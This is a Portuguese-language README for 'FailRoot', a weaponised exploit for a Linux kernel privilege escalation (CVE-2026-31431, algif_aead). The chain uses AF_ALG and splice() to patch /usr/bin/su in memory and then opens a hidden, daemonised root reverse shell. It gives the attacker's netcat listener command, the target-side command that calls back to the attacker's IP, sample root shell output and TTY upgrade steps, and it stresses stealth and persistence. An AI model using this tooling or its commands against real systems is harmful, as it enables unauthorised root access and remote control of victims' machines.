CVE-2026-31431-REVSHELL

  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Visão Geral

FailRoot é um exploit armado para CVE-2026-31431 — uma escrita fora dos limites no subsistema crypto: algif_aead do kernel Linux.

Ele encadeia uma escalada de privilégios com um reverse shell root daemonizado com PTY completo:

AF_ALG + splice()  →  escrita de 4 bytes no page-cache  →  patch em /usr/bin/su  →  root

O exploit inteiro cabe em um único arquivo. Sem compilação. Sem dependências externas. Sem rastro no disco — o binário su é corrigido apenas em memória.

O que ele faz

1. Daemoniza instantaneamente — double-fork, desanexa do terminal, retorna o prompt imediatamente
2. Carrega módulos do kernel — algif_aead + authencesn via múltiplas estratégias de fallback
3. Explora o CVE-2026-31431 — escreve 4 bytes controlados no page-cache de /usr/bin/su
4. Gera reverse shell root com PTY — pty.spawn("/usr/bin/su") → TTY root totalmente interativo

O reverse shell sobrevive ao fechamento do terminal (SIGHUP ignorado), não exibe nenhuma saída no alvo e conecta com novas tentativas por até 3 minutos.

Uso

# Atacante — iniciar listener:
nc -lvnp 4444

# Alvo — executar exploit (nada será exibido, ele daemoniza instantaneamente):
python3 exploit.py <IP_DO_ATACANTE> 4444

attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

Upgrade de TTY (lado do atacante, dentro do shell)

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Kernels Afetados

Requisitos

• Python >= 3.10 (os.splice())
• Acesso de leitura a /usr/bin/su (legível por todos em todas as distros)
• Módulos do kernel algif_aead e authencesn disponíveis
• Nenhum sudo necessário

Autor

danimrtzp

Aviso Legal

Apenas para pesquisa de segurança autorizada e fins educacionais. O uso indevido é ilegal.